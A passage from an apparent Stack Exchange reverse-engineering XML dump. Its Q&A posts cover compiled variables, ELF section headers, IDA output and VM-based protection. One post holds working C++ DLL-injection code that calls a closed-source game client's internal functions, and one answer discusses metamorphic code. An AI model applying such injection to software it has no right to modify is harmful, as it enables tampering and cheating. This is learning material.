prakash\0&quot;&#xA;    .space 5&#xA;    .def    ___main;    .scl    2;  .type   32; .endef&#xA;    .section .rdata,&quot;dr&quot;&#xA;LC1:&#xA;    .ascii &quot;HeLLO wORLD\0&quot;&#xA;LC0:&#xA;    .ascii &quot;hell\0&quot;&#xA;    .text&#xA;.globl _main&#xA;    .def    _main;  .scl    2;  .type   32; .endef&#xA;_main:&#xA;    pushl   %ebp&#xA;    movl    %esp, %ebp&#xA;    andl    $-16, %esp&#xA;    subl    $32, %esp&#xA;    call    ___main&#xA;    movl    LC0, %eax&#xA;    movl    %eax, 16(%esp)&#xA;    movl    $1, 20(%esp)&#xA;    movl    $2, 24(%esp)&#xA;    movl    $0, _variable1&#xA;    movl    $1, _variable2&#xA;    movb    $66, _variable3&#xA;    movb    $65, _variable4&#xA;    movl    $LC1, (%esp)&#xA;    call    _puts&#xA;    call    _getch&#xA;    leave&#xA;    ret&#xA;    .def    _puts;  .scl    2;  .type   32; .endef&#xA;    .def    _getch; .scl    2;  .type   32; .endef&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could figure out only  global variables and cannot find local variables. &#xA;Then I created executable file of the above program and used IDA, ollyDBG, PE Explorer and tried to find where the variables are, but I could not find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens to the variables and data type declarations when it converted into machine language?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that &lt;code&gt;.data&lt;/code&gt; segment contains the initialized data, then I tried to find my initialized data, but I couldn't find anything. I have a text &quot;naveen prakash&quot; but I can't find it anywhere in the executable file. I used Hex editor to view the binary  file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, How variables and data types are represented in machine code and how do we find it using debuggers?&lt;/p&gt;&#xA;" OwnerUserId="22323" LastEditorUserId="18698" LastEditDate="2017-11-22T08:38:10.500" LastActivityDate="2017-11-22T16:08:07.040" Title="how data types and variables are converted to machine code?" Tags="|disassembly|assembly|x86|machine-code|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16812" PostTypeId="2" ParentId="16797" CreationDate="2017-11-22T09:37:20.123" Score="1" Body="&lt;p&gt;Is there any ready solution for metamorphing ARM, I don't think so. Is there a way to do metamorphing? Yes, but this should be done during the compilation phase with tools like llvm. It must be done during the compilation, in order to have the full context of what is done by each instruction, and in order to make a really good metamorphing, not some stupid instruction replacement.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2017-11-22T09:37:20.123" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16813" PostTypeId="1" AcceptedAnswerId="16905" CreationDate="2017-11-22T11:31:36.683" Score="0" ViewCount="1165" Body="&lt;p&gt;I am trying to modify closed source game client that works with my game server. The purpose of that is being able to add new graphical elements into the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read a lot of tutorials about dll injection and in the end theres the code I made:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// dllmain.cpp : Defines the entry point for the DLL application.&#xA;#include &quot;stdafx.h&quot;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;&#xA;#define BASE_ADDR 0x00400000&#xA;&#xA;DWORD WINAPI MyThread(LPVOID);&#xA;DWORD g_threadID;&#xA;HMODULE g_hModule;&#xA;void __stdcall CallFunction(int&amp;amp;, int&amp;amp;, int&amp;amp;, int&amp;amp;, int&amp;amp;, int&amp;amp;, int&amp;amp;, int&amp;amp;);&#xA;void __stdcall typeText(int&amp;amp;, const char*);&#xA;&#xA;&#xA;//must be at least one function to prevent crash&#xA;__declspec(dllexport) int APIENTRY Func(LPVOID lpParam)&#xA;{//empty function&#xA;    return 0;&#xA;}&#xA;&#xA;&#xA;//main func&#xA;BOOL APIENTRY DllMain( HMODULE hModule,&#xA;                       DWORD  ul_reason_for_call,&#xA;                       LPVOID lpReserved&#xA;                     )&#xA;{&#xA;&#xA;    DWORD myThreadID;&#xA;    HANDLE myHandle;&#xA;&#xA;&#xA;    switch (ul_reason_for_call)&#xA;    {&#xA;    case DLL_PROCESS_ATTACH:&#xA;        g_hModule = hModule;&#xA;        DisableThreadLibraryCalls(hModule);&#xA;        CreateThread(NULL, NULL, &amp;amp;MyThread, NULL, NULL, &amp;amp;g_threadID);&#xA;        break;&#xA;    case DLL_THREAD_ATTACH:&#xA;    case DLL_THREAD_DETACH:&#xA;    case DLL_PROCESS_DETACH:&#xA;        break;&#xA;    }&#xA;    return TRUE;&#xA;}&#xA;&#xA;&#xA;DWORD WINAPI MyThread(LPVOID)&#xA;{&#xA;    int i1 = 1;&#xA;    int i2 = 10;&#xA;    int i3 = 10;&#xA;    int i4 = 200;&#xA;    int i5 = 200;&#xA;    int i6 = 60;&#xA;    int i7 = 0;&#xA;    int i8 = 0;&#xA;&#xA;&#xA;    while (true)&#xA;    {&#xA;        if (GetAsyncKeyState(VK_F3) &amp;amp; 1) //Set F3 as hotkey&#xA;        {&#xA;            // call GUI window (do it before login)&#xA;            CallFunction(i1, i2, i3, i4, i5, i6, i7, i8);&#xA;&#xA;&#xA;            //display text from char (do it after login)&#xA;            //typeText(i1, &quot;halo halo&quot;);&#xA;        }&#xA;        else if (GetAsyncKeyState(VK_F4) &amp;amp; 1)&#xA;            break;&#xA;        Sleep(100);&#xA;    }&#xA;    FreeLibraryAndExitThread(g_hModule, 0);&#xA;&#xA;&#xA;    /* another way to call function?&#xA;    typedef void tipo(int&amp;amp; p1, int&amp;amp; p2, int&amp;amp; p3, int&amp;amp; p4, int&amp;amp; p5, int&amp;amp; p6, int&amp;amp; p7, int&amp;amp; p8);&#xA;    void(*func)(int&amp;amp; p1, int&amp;amp; p2, int&amp;amp; p3, int&amp;amp; p4, int&amp;amp; p5, int&amp;amp; p6, int&amp;amp; p7, int&amp;amp; p8);&#xA;    func = (tipo*)0x490C60;&#xA;    func(i1, i2, i3, i4, i5, i6, i7, i8);&#xA;    */&#xA;&#xA;    return 0;&#xA;}&#xA;&#xA;//0x004067C0, pattern = (int, char*)&#xA;void __stdcall typeText(int&amp;amp; type, const char* text)&#xA;{&#xA;    typedef void(__stdcall *pFunctionAddress)(int&amp;amp;, const char*);&#xA;    pFunctionAddress pMySecretFunction = (pFunctionAddress)(0x004067C0);&#xA;    pMySecretFunction(type, text);&#xA;}&#xA;&#xA;//const DWORD DrawSkinExAddress =0x490C60;.&#xA;//typedef void TF_DRAWSKIN(int nSurface, int X, int Y, int W, int H, int SkinId, int dX, int dY);&#xA;void __stdcall CallFunction(int&amp;amp; p1, int&amp;amp; p2, int&amp;amp; p3, int&amp;amp; p4, int&amp;amp; p5, int&amp;amp; p6, int&amp;amp; p7, int&amp;amp; p8)&#xA;{&#xA;    typedef void(__stdcall *pFunctionAddress)(int&amp;amp;, int&amp;amp;, int&amp;amp;, int&amp;amp;, int&amp;amp;, int&amp;amp;, int&amp;amp;, int&amp;amp;);&#xA;    pFunctionAddress pMySecretFunction = (pFunctionAddress)(0x490C60);&#xA;    pMySecretFunction(p1,p2,p3,p4,p5,p6,p7,p8);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can successfully inject it and run the client. When I try to call definied there function (Press F3 to do it), the client crashes. the runtime error shows up (picture presenting error: &lt;a href=&quot;https://i.stack.imgur.com/8sL1m.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/8sL1m.jpg&lt;/a&gt; ) and client crashes. I think theres problem with the method I call the functions. The addresses and variables are fine I think because if I try to do it on another random addresses the client just crash normally (app not responding).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried replacing stdcall with cdecl but nothing has changed.&lt;/p&gt;&#xA;" OwnerUserId="22327" LastActivityDate="2017-12-03T20:31:24.150" Title="Calling internal functions via dll injection - runtime error" Tags="|c++|dll-injection|call|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16815" PostTypeId="1" AcceptedAnswerId="16816" CreationDate="2017-11-22T14:48:05.373" Score="-1" ViewCount="1546" Body="&lt;p&gt;There is some DCD data in a disassembled binary using IDA as shown the image description. The binary is an ELF of ARM processor type. I want to know what are these data? Is it possible they be code which IDA could not disassembled? &#xA;&lt;a href=&quot;https://i.stack.imgur.com/vVhHA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vVhHA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21812" LastActivityDate="2017-11-22T15:10:43.793" Title="DCD data in IDA disassmbed file" Tags="|ida|disassembly|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16816" PostTypeId="2" ParentId="16815" CreationDate="2017-11-22T15:10:43.793" Score="2" Body="&lt;p&gt;That is the ELF header from your executable, and IDA is aware that there is no practical use to disassemble it as if it's &lt;em&gt;code&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://linux-audit.com/elf-binaries-on-linux-understanding-and-analysis/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The 101 of ELF Binaries on Linux: Understanding and Analysis&lt;/a&gt; in case you don't know what an &quot;ELF header&quot; is or if you want to know the meaning of every single byte in the header you show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More generally speaking, IDA automatically tries to determine what parts are code and data, but it may fail on both. Data that gets treated as code will usually contain undefined bytes – these will appear as literal &lt;code&gt;dcd&lt;/code&gt; bytes among seemingly valid disassembled instructions. (And on close inspection, those &quot;instructions&quot; are usually nonsensical.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code that gets treated as data is more difficult to spot, especially if there are no obvious references into it. With sufficient experience, one may be able to recognize certain hex sequences as &quot;most likely code&quot;; in that case, instruct IDA to disassemble such a sequence and see what it produces.&lt;/p&gt;&#xA;" OwnerUserId="22100" LastActivityDate="2017-11-22T15:10:43.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16817" PostTypeId="2" ParentId="16811" CreationDate="2017-11-22T15:15:10.067" Score="0" Body="&lt;p&gt;Assembly represents variables using pointers in memory.&#xA; The better question is &lt;a href=&quot;https://stackoverflow.com/questions/14612314/how-are-variable-names-stored-in-memory-in-c&quot;&gt;&quot;How are variables represented in memory?&quot;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21259" LastActivityDate="2017-11-22T15:15:10.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16818" PostTypeId="2" ParentId="16811" CreationDate="2017-11-22T16:08:07.040" Score="2" Body="&lt;p&gt;This is an expansion of Nordwald's comment:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are no variables in assembler, as they are a high level concept. There are bitfields of different lengths, which are interpreted depending on the operation. These can reside on the stack (locals) or at a certain memory location (globals).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;HLLs vs. Machine Code&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What happens to the variables and data type declarations when it converted into machine language?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Variable and data type declaration information is lost when code written in a high-level language are translated into machine language via compilation, since notions of variables and data types do not exist in machine language. This is part of the reason why decompilation is challenging.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;High-level programming languages have&#xA;  data abstractions such as buffers, structures, and local variables&#xA;  that all help programmers and program analyses reason&#xA;  about programs in a scalable manner. During compilation,&#xA;  these abstractions are removed as code is translated&#xA;  down to operations on registers and one globally addressed&#xA;  memory region.&lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;High-level languages are machine-independent. In order for code written in a HLL to be executed on a machine by its CPU, it needs to be translated into a form that is compatible with the CPU instruction set architecture of the target machine. Examples of instruction sets are x86, MIPS and ARM. We can think of instruction sets as representations of processor-specific machine language. Machine language deals only with binary values that represent information such as constants, memory locations, CPU registers and instructions.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Executable Binary Organization&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;It is not enough to simply perform HLL to object code translation, however. Information must be organized in a file in such a manner that it can be mapped into memory by the program loader and become a running process. This is where binary formats and system application binary interfaces (ABIs) enter the picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to binary analysis, several things need to be taken into consideration:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;compiler toolchain&lt;/li&gt;&#xA;&lt;li&gt;system architecture&lt;/li&gt;&#xA;&lt;li&gt;runtime environment&lt;/li&gt;&#xA;&lt;li&gt;binary format&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I believe &lt;code&gt;gcc&lt;/code&gt; will compose ELF binaries by default. ELF binaries are structured such that memory is allocated for statically-allocated variables such as global variables in the &lt;code&gt;.data&lt;/code&gt; section. String literals such as &quot;hello world&quot; are stored in the &lt;code&gt;.rodata&lt;/code&gt; section and are accessed via pointers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if the binary you are analyzing is a PE rather than an ELF binary, this is not relevant. Either way, you should consult the ABI documentation appropriate for your system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless of this, space for variables local to functions will be allocated on the runtime stack in virtual memory, not within the binary. This is the difference between static memory allocation and stack-based allocation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each instance of a subroutine at run time has its own frame (also called an activation record) on the stack, containing arguments and return values, local variables, temporaries, and bookkeeping information. Arguments to be passed to subsequent routines lie at the top of the&#xA;  frame, where the callee can easily find them. The organization of the remaining information is implementation-dependent: it varies from one language, machine, and compiler to another.&lt;sup&gt;2&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This will be reflected in the code generated by the compiler, since it is the compiler that is responsible for generating the code that manages the runtime stack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15391/how-to-figure-out-method-argument-sizes-and-types-in-elf32-i386-disasembly&quot;&gt;How to figure out method argument sizes and types in elf32-i386 disasembly?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;1. &lt;a href=&quot;https://users.ece.cmu.edu/~aavgerin/papers/tie-ndss-2011.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;TIE: Principled Reverse Engineering of Types in Binary Programs&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;2. Scott, Michael L. Programming Language Pragmatics. 3rd ed. Page 117&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-11-22T16:08:07.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16820" PostTypeId="1" CreationDate="2017-11-23T01:47:31.090" Score="-1" ViewCount="314" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EiHMp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EiHMp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am beginner in reverse engineering. i want to understand where the variables and it's size are stored inside an windows executable file.  &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;somehow i can able to find the values of variables i declared inside a c program. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as you can see in 00402000  the &lt;b&gt;bar&lt;/b&gt; variable's value is stored.&lt;br&gt;&#xA;but i can't find where the variable name &quot;bar&quot; and it's size is stored.&lt;br&gt;&lt;br&gt;In data section values only get stored. In which section i can find variable names and it's sizes? &lt;br&gt;&#xA;then i have another doubt as you can see in the picture there is some address like  00402000. is it the address of a byte which exist in harddrive?&lt;br&gt;&#xA;like RAM , HardDisk also an has address for each byte?&lt;/p&gt;&#xA;" OwnerUserId="22323" LastActivityDate="2017-11-23T03:23:44.470" Title="where the variable and it's size are stored inside windows executabe file?" Tags="|ida|assembly|x86|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16821" PostTypeId="2" ParentId="16820" CreationDate="2017-11-23T03:23:44.470" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;In data section values only get stored.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, that is how it works. Information about variables such as name, size and type are high-level language concepts. Such information is lost when code written in a high-level language is compiled into machine code. This is part of the reason why reverse engineering binary executables can be challenging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the answers to this question: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16811/how-data-types-and-variables-are-converted-to-machine-code&quot;&gt;how data types and variables are converted to machine code?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bit width of a value (half-word, word, double word, etc) can sometimes be inferred from the read/write operations performed on it; if it is written from memory into a register, you can look at the size of the register. &lt;code&gt;eax&lt;/code&gt; is 32 bit, &lt;code&gt;al&lt;/code&gt; is 16 bits, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To locate statically allocated variables, disassemble the function(s) in which they are accessed. Pointers (memory addresses) to these variables will be operands in instructions that access these values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case this means disassembling &lt;code&gt;main()&lt;/code&gt;. Since nothing is done with the variables in &lt;code&gt;main()&lt;/code&gt; other than reassignment, it is possible that the compiler did not generate any code referencing these variables (dead code elimination).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;then i have another doubt as you can see in the picture there is some address like 00402000. is it the address of a byte which exist in harddrive?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is an address in virtual memory. Read more about this here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linux example: &lt;a href=&quot;http://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/2170843/va-virtual-address-rva-relative-virtual-address&quot;&gt;https://stackoverflow.com/questions/2170843/va-virtual-address-rva-relative-virtual-address&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-11-23T03:23:44.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16823" PostTypeId="2" ParentId="16796" CreationDate="2017-11-23T09:05:01.847" Score="3" Body="&lt;p&gt;In order to step into syscall you must debug your machine from kernel mode debugger. &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/debugging_windbg.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/tutorials/debugging_windbg.pdf&lt;/a&gt; see Debugging the kernel with VMWare section. &#xA;But be aware, that in kernel mode debugger you won't be able to debug your single process as it was in user mode. Kernel mode debugging is about debugging all the processes in the system. So you'll have to attach to the target process before you can do anything, and you'll need to learn how to set breakpoints, which will trigger only in your target process.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2017-11-23T09:05:01.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16825" PostTypeId="2" ParentId="13408" CreationDate="2017-11-23T09:19:28.157" Score="1" Body="&lt;p&gt;Yet there is statistics, which can be used to find the basic library functions from which you'll be able to find other functions. E.g. there's almost a zero probability that the code doesn't allocate any memory and doesn't do any string manipulation. So you can count XREFS to all the functions and be sure that those which are called most(and called from all the parts of the binary) are the library functions. After you know where is malloc, you can find free, after you have malloc and free you can find other library functions which use malloc/free.&#xA;So, if you're ready to spend your time, you can find library functions yourself.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2017-11-23T09:19:28.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16826" PostTypeId="1" CreationDate="2017-11-23T10:22:54.187" Score="5" ViewCount="412" Body="&lt;p&gt;It is practically common knowledge in reverse engineering that trying to use a native debugger or disassembler on a &quot;VM protected&quot; or virtualized program is much more difficult to analyze. However, I would like to know specific, concrete ways in which this is the case and why. Please list some reasons along with any relevant work on whether the various reasons have been overcome manually (not using a script).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case this question is perceived as being too general, let us focus on a specific example. The example is we are trying to use a native debugger (such as x64Dbg) to locate a call to the Windows API CreateFile and find out the location of a file write. In an unprotected program, we could open it up, place a breakpoint on CreateFile and locate the call after examining cross-referenced calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would this process successfully be obstructed by Themida Protector? Obviously, at the end of the day, the program must still write the file, but what steps severely hamper analysis?&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18507" LastEditDate="2017-11-23T11:38:36.777" LastActivityDate="2018-06-28T12:25:09.953" Title="What are some ways in which virtual machines make native static and dynamic reversing of a binary more difficult?" Tags="|unpacking|virtual-machines|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16829" PostTypeId="1" CreationDate="2017-11-23T23:53:47.717" Score="2" ViewCount="2700" Body="&lt;p&gt;I'm working with linux executables and was just wondering how it is that section names are resolved to addresses upon disassembly of an ELF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example take some random disassembly output from objdump, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  4002b5:       00 00                   add    %al,(%rax)&#xA;  4002b7:       00 67 55                add    %ah,0x55(%rdi)&#xA;  4002ba:       61                      (bad)  &#xA;  4002bb:       10                      .byte 0x10&#xA;&#xA;Disassembly of section .dynsym:&#xA;&#xA;00000000004002c0 &amp;lt;.dynsym&amp;gt;:&#xA;        ...&#xA;  4002d8:       9b                      fwait&#xA;  4002d9:       00 00                   add    %al,(%rax)&#xA;  4002db:       00 12                   add    %dl,(%rdx)&#xA;        ...&#xA;  4002ed:       00 00                   add    %al,(%rax)&#xA;  4002ef:       00 32                   add    %dh,(%rdx)&#xA;  4002f1:       00 00                   add    %al,(%rax)&#xA;  4002f3:       00 12                   add    %dl,(%rdx)&#xA;        ...&#xA;  400305:       00 00                   add    %al,(%rax)&#xA;  400307:       00 17                   add    %dl,(%rdi)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how has it, if from a heuristic perspective, detected that the section at that address is called dynsm? The same goes for .text, .bss, and even functions listed by objdump, such as 'main'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I reproduce this if I were to write a disassembly tool + executable analyser myself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="22178" LastEditorUserId="22178" LastEditDate="2017-11-24T00:01:25.380" LastActivityDate="2018-02-22T17:15:24.597" Title="Disassemblers resolving (ELF) section names" Tags="|disassembly|linux|elf|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16830" PostTypeId="2" ParentId="16829" CreationDate="2017-11-24T05:19:44.700" Score="1" Body="&lt;p&gt;Note that the in example in the question, data is being disassembled as code. &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2539/what-symbol-tables-stay-after-a-strip-in-elf-format&quot;&gt;The &lt;code&gt;.dynsym&lt;/code&gt; section holds the dynamic linking symbol table and does not contain code&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Information such as the name and the virtual address of the first byte of a section is given in the &lt;em&gt;section header&lt;/em&gt; of that section. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The section header is a structure stored in the &lt;em&gt;section header table&lt;/em&gt; of an ELF binary. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In this case &lt;code&gt;objdump&lt;/code&gt; prints the virtual address &lt;code&gt;00000000004002c0&lt;/code&gt; and the name &lt;code&gt;.dynsym&lt;/code&gt; because this is the information stored in the section header for that particular section (technically, section names are strings stored in the section header string table &lt;code&gt;.shstrtab&lt;/code&gt;, but this is not so important in this case). If there was no section header for this section or if there was no section header table present in the binary, &lt;code&gt;objdump&lt;/code&gt; would not be able to output this information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no need for heuristics unless the section header table is not present in the binary. This is unusual, but has been observed to be the case in certain Linux ELF binaries (viruses) in order to thwart analysis since &lt;code&gt;gdb&lt;/code&gt;, &lt;code&gt;objdump&lt;/code&gt;, and other &lt;a href=&quot;ftp://ftp.gnu.org/old-gnu/Manuals/bfd-2.9.1/html_mono/bfd.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Binary File Descriptor-based utilities&lt;/a&gt; (thank you Igor Skochinsky for the correction) rely on information in the section header table to parse the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant documentation can be found in the &lt;a href=&quot;https://refspecs.linuxfoundation.org/elf/gabi41.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;System V ABI (generic)&lt;/a&gt; beginning in chapter 4 &quot;Object Files&quot; (page 44), as well as the &lt;a href=&quot;http://man7.org/linux/man-pages/man5/elf.5.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual page for ELF&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A &lt;em&gt;section header table&lt;/em&gt; contains information describing the file’s sections. Every section has an entry in the table; each&#xA;  entry gives information such as the section name, the section size, and so on.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More specifically:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An object file’s section header table lets one locate all the file’s sections. The section header table is an array of &lt;code&gt;Elf32_Shdr&lt;/code&gt; or&#xA;  &lt;code&gt;Elf64_Shdr&lt;/code&gt; structures. A section header table index is a subscript into this array. The ELF header’s &lt;code&gt;e_shoff&lt;/code&gt; member gives the byte offset from the beginning of the file to the section header table; &lt;code&gt;e_shnum&lt;/code&gt; tells how many entries the section header table contains; &lt;code&gt;e_shentsize&lt;/code&gt; gives the size in bytes of each entry.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Additionally,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sections contain all information in an object file, except the ELF header, the program header table, and the section header table. Moreover, object files’ sections satisfy several conditions.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;Every section in an object file has exactly one section header describing it. Section headers may exist that do not have a section.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Each section occupies one contiguous (possibly empty) sequence of bytes within a file.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Sections in a file may not overlap. No byte in a file resides in more than one section.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;An object file may have inactive space. The various headers and the sections might not ‘‘cover’’ every byte in an object file. The contents of the inactive data are unspecified.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is a high-level overview of what is involved in locating information contained in an ELF binary's individual section headers. The documentation cited is for ELF32 binaries, but the process is the same with ELF64 binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The location of the section header table is given in the ELF header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ahkze.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ahkze.png&quot; alt=&quot;ELF header location&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ELF header is a struct and the offset of the section header table is stored in a member called &lt;code&gt;e_shoff&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MVjoM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MVjoM.png&quot; alt=&quot;ELF header structure and members&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9PC2r.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9PC2r.png&quot; alt=&quot;e_shoff&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -h /bin/ls&#xA;ELF Header:&#xA;  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF64&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           Advanced Micro Devices X86-64&#xA;  Version:                           